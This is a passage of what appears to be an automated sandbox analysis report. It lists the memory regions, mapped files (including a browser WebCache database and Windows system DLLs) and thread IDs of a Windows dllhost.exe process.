name = "pagefile_0x00000234363a0000"
filename = ""
Region:
id = 2837
start_va = 0x234363b0000
end_va = 0x234363bffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234363b0000"
filename = ""
Region:
id = 2838
start_va = 0x234363c0000
end_va = 0x234363cffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234363c0000"
filename = ""
Region:
id = 2839
start_va = 0x234363d0000
end_va = 0x234363dffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234363d0000"
filename = ""
Region:
id = 2840
start_va = 0x234363e0000
end_va = 0x234363effff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234363e0000"
filename = ""
Region:
id = 2841
start_va = 0x234363f0000
end_va = 0x234363fffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234363f0000"
filename = ""
Region:
id = 2842
start_va = 0x23436400000
end_va = 0x2343640ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023436400000"
filename = ""
Region:
id = 2843
start_va = 0x23436410000
end_va = 0x23436597fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023436410000"
filename = ""
Region:
id = 2844
start_va = 0x234365a0000
end_va = 0x23436720fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234365a0000"
filename = ""
Region:
id = 2845
start_va = 0x23436730000
end_va = 0x23437b2ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023436730000"
filename = ""
Region:
id = 2846
start_va = 0x23437b30000
end_va = 0x23437e66fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 2847
start_va = 0x23437e70000
end_va = 0x23437e7ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023437e70000"
filename = ""
Region:
id = 2848
start_va = 0x23437e80000
end_va = 0x23437e8ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023437e80000"
filename = ""
Region:
id = 2849
start_va = 0x23437e90000
end_va = 0x23437e9ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023437e90000"
filename = ""
Region:
id = 2850
start_va = 0x23437ea0000
end_va = 0x23437eaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023437ea0000"
filename = ""
Region:
id = 2851
start_va = 0x23437eb0000
end_va = 0x23437ebffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023437eb0000"
filename = ""
Region:
id = 2852
start_va = 0x23437ec0000
end_va = 0x23437ecffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023437ec0000"
filename = ""
Region:
id = 2853
start_va = 0x23437ed0000
end_va = 0x23438ecffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023437ed0000"
filename = ""
Region:
id = 2854
start_va = 0x23438ed0000
end_va = 0x23438ed1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023438ed0000"
filename = ""
Region:
id = 2855
start_va = 0x23438ee0000
end_va = 0x23438ee0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023438ee0000"
filename = ""
Region:
id = 2856
start_va = 0x23438ef0000
end_va = 0x23438f7ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023438ef0000"
filename = ""
Region:
id = 2857
start_va = 0x23438f80000
end_va = 0x23438f87fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023438f80000"
filename = ""
Region:
id = 2858
start_va = 0x23438f90000
end_va = 0x23438f91fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023438f90000"
filename = ""
Region:
id = 2859
start_va = 0x23438fa0000
end_va = 0x23438faffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2860
start_va = 0x23438fb0000
end_va = 0x23438fbffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2861
start_va = 0x23438fc0000
end_va = 0x23438fcffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2862
start_va = 0x23438fd0000
end_va = 0x23438fdffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2863
start_va = 0x23438fe0000
end_va = 0x23438feffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2864
start_va = 0x23438ff0000
end_va = 0x23438ffffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2865
start_va = 0x23439000000
end_va = 0x2343900ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2866
start_va = 0x23439010000
end_va = 0x2343901ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2867
start_va = 0x23439020000
end_va = 0x2343902ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2868
start_va = 0x23439030000
end_va = 0x2343903ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2869
start_va = 0x23439040000
end_va = 0x2343904ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2870
start_va = 0x23439050000
end_va = 0x2343905ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2871
start_va = 0x23439060000
end_va = 0x2343906ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2872
start_va = 0x23439070000
end_va = 0x2343907ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2873
start_va = 0x23439080000
end_va = 0x2343908ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2874
start_va = 0x23439090000
end_va = 0x2343909ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2875
start_va = 0x234390a0000
end_va = 0x234390a7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000234390a0000"
filename = ""
Region:
id = 2876
start_va = 0x234390b0000
end_va = 0x234390bffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2877
start_va = 0x234390c0000
end_va = 0x234390cffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2878
start_va = 0x234390d0000
end_va = 0x234390dffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2879
start_va = 0x234390e0000
end_va = 0x234390effff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2880
start_va = 0x234390f0000
end_va = 0x234390f7fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000234390f0000"
filename = ""
Region:
id = 2881
start_va = 0x23439100000
end_va = 0x2343910ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2882
start_va = 0x23439110000
end_va = 0x2343911ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2883
start_va = 0x23439120000
end_va = 0x2343912ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023439120000"
filename = ""
Region:
id = 2884
start_va = 0x23439130000
end_va = 0x2343913ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2885
start_va = 0x23439140000
end_va = 0x2343914ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2886
start_va = 0x23439150000
end_va = 0x2343915ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2887
start_va = 0x23439160000
end_va = 0x2343916ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2888
start_va = 0x23439170000
end_va = 0x2343917ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2889
start_va = 0x23439180000
end_va = 0x2343918ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2890
start_va = 0x23439190000
end_va = 0x2343919ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2891
start_va = 0x234391a0000
end_va = 0x234391affff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2892
start_va = 0x234391b0000
end_va = 0x234391bffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000234391b0000"
filename = ""
Region:
id = 2893
start_va = 0x234391c0000
end_va = 0x234391cffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2894
start_va = 0x234391d0000
end_va = 0x234391dffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2895
start_va = 0x234391e0000
end_va = 0x234391effff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2896
start_va = 0x7df5fff20000
end_va = 0x7ff5fff1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5fff20000"
filename = ""
Region:
id = 2897
start_va = 0x7ff615a10000
end_va = 0x7ff615b0ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff615a10000"
filename = ""
Region:
id = 2898
start_va = 0x7ff615b10000
end_va = 0x7ff615b32fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007ff615b10000"
filename = ""
Region:
id = 2899
start_va = 0x7ff616790000
end_va = 0x7ff616796fff
monitored = 0
entry_point = 0x7ff616791570
region_type = mapped_file
name = "dllhost.exe"
filename = "\\Windows\\System32\\dllhost.exe" (normalized: "c:\\windows\\system32\\dllhost.exe")
Region:
id = 2900
start_va = 0x7ffc1e050000
end_va = 0x7ffc1e064fff
monitored = 0
entry_point = 0x7ffc1e055740
region_type = mapped_file
name = "profext.dll"
filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll")
Region:
id = 2901
start_va = 0x7ffc22290000
end_va = 0x7ffc2251dfff
monitored = 0
entry_point = 0x7ffc22360f00
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 2902
start_va = 0x7ffc25b20000
end_va = 0x7ffc25e18fff
monitored = 0
entry_point = 0x7ffc25be7280
region_type = mapped_file
name = "esent.dll"
filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")
Region:
id = 2903
start_va = 0x7ffc29de0000
end_va = 0x7ffc2a161fff
monitored = 0
entry_point = 0x7ffc29e31220
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 2904
start_va = 0x7ffc2e160000
end_va = 0x7ffc2e1f5fff
monitored = 0
entry_point = 0x7ffc2e185570
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 2905
start_va = 0x7ffc2ecd0000
end_va = 0x7ffc2ed00fff
monitored = 0
entry_point = 0x7ffc2ecd7d10
region_type = mapped_file
name = "ntmarta.dll"
filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")
Region:
id = 2906
start_va = 0x7ffc2ef40000
end_va = 0x7ffc2ef5efff
monitored = 0
entry_point = 0x7ffc2ef45d30
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 2907
start_va = 0x7ffc2f280000
end_va = 0x7ffc2f28afff
monitored = 0
entry_point = 0x7ffc2f2819a0
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 2908
start_va = 0x7ffc2f7e0000
end_va = 0x7ffc2f7f3fff
monitored = 0
entry_point = 0x7ffc2f7e52e0
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 2909
start_va = 0x7ffc2f810000
end_va = 0x7ffc2f85afff
monitored = 0
entry_point = 0x7ffc2f8135f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 2910
start_va = 0x7ffc2f860000
end_va = 0x7ffc2f86efff
monitored = 0
entry_point = 0x7ffc2f863210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 2911
start_va = 0x7ffc2f870000
end_va = 0x7ffc2f8b2fff
monitored = 0
entry_point = 0x7ffc2f884b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 2912
start_va = 0x7ffc2f920000
end_va = 0x7ffc2fb07fff
monitored = 0
entry_point = 0x7ffc2f94ba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 2913
start_va = 0x7ffc2fd90000
end_va = 0x7ffc303d3fff
monitored = 0
entry_point = 0x7ffc2ff564b0
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")
Region:
id = 2914
start_va = 0x7ffc30400000
end_va = 0x7ffc304b4fff
monitored = 0
entry_point = 0x7ffc304422e0
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")
Region:
id = 2915
start_va = 0x7ffc30550000
end_va = 0x7ffc305b9fff
monitored = 0
entry_point = 0x7ffc30586d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 2916
start_va = 0x7ffc305c0000
end_va = 0x7ffc306dbfff
monitored = 0
entry_point = 0x7ffc306002b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 2917
start_va = 0x7ffc306e0000
end_va = 0x7ffc307a0fff
monitored = 0
entry_point = 0x7ffc30700da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 2918
start_va = 0x7ffc30900000
end_va = 0x7ffc30a55fff
monitored = 0
entry_point = 0x7ffc3090a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 2919
start_va = 0x7ffc30a80000
end_va = 0x7ffc30ad1fff
monitored = 0
entry_point = 0x7ffc30a8f530
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 2920
start_va = 0x7ffc30ae0000
end_va = 0x7ffc30b7cfff
monitored = 0
entry_point = 0x7ffc30ae78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 2921
start_va = 0x7ffc30be0000
end_va = 0x7ffc30e5cfff
monitored = 0
entry_point = 0x7ffc30cb4970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 2922
start_va = 0x7ffc30e60000
end_va = 0x7ffc30f06fff
monitored = 0
entry_point = 0x7ffc30e6b4d0
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 2923
start_va = 0x7ffc30f10000
end_va = 0x7ffc30fbcfff
monitored = 0
entry_point = 0x7ffc30f281a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 2924
start_va = 0x7ffc31560000
end_va = 0x7ffc316e5fff
monitored = 0
entry_point = 0x7ffc315affc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 2925
start_va = 0x7ffc31760000
end_va = 0x7ffc317bafff
monitored = 0
entry_point = 0x7ffc317738b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 2926
start_va = 0x7ffc31840000
end_va = 0x7ffc32d9efff
monitored = 0
entry_point = 0x7ffc319a11f0
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 2927
start_va = 0x7ffc32db0000
end_va = 0x7ffc32deafff
monitored = 0
entry_point = 0x7ffc32db12f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 2928
start_va = 0x7ffc33110000
end_va = 0x7ffc331b6fff
monitored = 0
entry_point = 0x7ffc331258d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 2929
start_va = 0x7ffc331c0000
end_va = 0x7ffc33380fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 2932
start_va = 0x234391f0000
end_va = 0x234391fffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2942
start_va = 0x23439200000
end_va = 0x2343920ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000023439200000"
filename = ""
Region:
id = 2944
start_va = 0x23439210000
end_va = 0x2343921ffff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "webcachev01.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat")
Region:
id = 2945
start_va = 0x23439220000
end_va = 0x23439220fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023439220000"
filename = ""
Region:
id = 2946
start_va = 0x23439220000
end_va = 0x23439220fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023439220000"
filename = ""
Region:
id = 2947
start_va = 0x23439230000
end_va = 0x23439237fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023439230000"
filename = ""
Region:
id = 2948
start_va = 0x23439220000
end_va = 0x23439220fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000023439220000"
filename = ""
Thread:
id = 181
os_tid = 0xab8
Thread:
id = 182
os_tid = 0x9fc
Thread:
id = 183
os_tid = 0x9f4
Thread:
id = 184
os_tid = 0x9f0
Thread:
id = 185
os_tid = 0x9ec
Thread:
id = 186
os_tid = 0x9e8
Thread:
id = 187
os_tid = 0x9e0
Thread:
id = 188
os_tid = 0x9d8